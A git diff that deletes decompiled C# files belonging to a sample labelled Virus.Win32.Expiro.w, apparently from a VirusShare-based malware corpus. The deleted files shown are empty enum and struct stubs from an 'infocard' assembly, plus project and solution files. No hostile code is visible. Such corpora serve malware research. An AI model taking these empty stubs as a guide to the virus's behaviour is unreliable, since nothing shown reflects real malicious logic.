C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum SYSGEOCLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/SYSGEOTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/SYSGEOTYPE.cs deleted file mode 100644 index 78081cc7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/SYSGEOTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SYSGEOTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum SYSGEOTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/SYSNLS_FUNCTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/SYSNLS_FUNCTION.cs deleted file mode 100644 index b7ea839e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/SYSNLS_FUNCTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SYSNLS_FUNCTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum SYSNLS_FUNCTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/SecureLockIconConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/SecureLockIconConstants.cs deleted file mode 100644 index 01787c08..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/SecureLockIconConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SecureLockIconConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum SecureLockIconConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ShellFolderViewOptions.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ShellFolderViewOptions.cs deleted file mode 100644 index 94af9f93..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ShellFolderViewOptions.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ShellFolderViewOptions -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum ShellFolderViewOptions -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ShellSpecialFolderConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ShellSpecialFolderConstants.cs deleted file mode 100644 index 253b86f0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ShellSpecialFolderConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ShellSpecialFolderConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum ShellSpecialFolderConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ShellWindowFindWindowOptions.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ShellWindowFindWindowOptions.cs deleted file mode 100644 index 669e4314..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ShellWindowFindWindowOptions.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ShellWindowFindWindowOptions -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum ShellWindowFindWindowOptions -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ShellWindowTypeConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ShellWindowTypeConstants.cs deleted file mode 100644 index 2fa1f469..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ShellWindowTypeConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ShellWindowTypeConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum ShellWindowTypeConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/TrustDecision.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/TrustDecision.cs deleted file mode 100644 index c0b9611d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/TrustDecision.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: TrustDecision -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum TrustDecision -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/VARENUM.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/VARENUM.cs deleted file mode 100644 index b0f8de2e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/VARENUM.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: VARENUM -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum VARENUM -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Virus.Win32.Expiro.w.csproj b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Virus.Win32.Expiro.w.csproj deleted file mode 100644 index e5d03298..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Virus.Win32.Expiro.w.csproj +++ /dev/null @@ -1,733 +0,0 @@ - - - - - Debug - AnyCPU - {240AC956-8543-4B0E-BD7C-DE03417EAB39} - Exe - infocard - 3.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - true - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - true - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Virus.Win32.Expiro.w.sln b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Virus.Win32.Expiro.w.sln deleted file mode 100644 index 5148485e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Virus.Win32.Expiro.w.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "infocard", "Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.csproj", "{240AC956-8543-4B0E-BD7C-DE03417EAB39}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {240AC956-8543-4B0E-BD7C-DE03417EAB39}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {240AC956-8543-4B0E-BD7C-DE03417EAB39}.Debug|Any CPU.Build.0 = Debug|Any CPU - {240AC956-8543-4B0E-BD7C-DE03417EAB39}.Release|Any CPU.ActiveCfg = Release|Any CPU - {240AC956-8543-4B0E-BD7C-DE03417EAB39}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/WELL_KNOWN_SID_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/WELL_KNOWN_SID_TYPE.cs deleted file mode 100644 index a91ff784..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/WELL_KNOWN_SID_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WELL_KNOWN_SID_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum WELL_KNOWN_SID_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/WPCSETTING.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/WPCSETTING.cs deleted file mode 100644 index 1903bf57..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/WPCSETTING.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WPCSETTING -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum WPCSETTING -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/X931_restart_t.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/X931_restart_t.cs deleted file mode 100644 index 10952f7f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/X931_restart_t.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: X931_restart_t -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum X931_restart_t -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBD.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBD.cs deleted file mode 100644 index 18d918fa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBD.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY00$$CBD -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY00\u0024\u0024CBD - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBG.cs deleted file mode 100644 index 75d17261..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY00$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [UnsafeValueType] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 2)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY00\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY00Q6MPBXXZ.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY00Q6MPBXXZ.cs deleted file mode 100644 index 824ba8d9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY00Q6MPBXXZ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY00Q6MPBXXZ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY07$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY07$$CBG.cs deleted file mode 100644 index cacbc5ce..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY07$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY07$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY07\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY08$$CB_W.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY08$$CB_W.cs deleted file mode 100644 index 6f7116d1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY08$$CB_W.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY08$$CB_W -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 18)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY08\u0024\u0024CB_W - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AHXZ.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AHXZ.cs deleted file mode 100644 index 566afe45..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AHXZ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0A@P6AHXZ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using 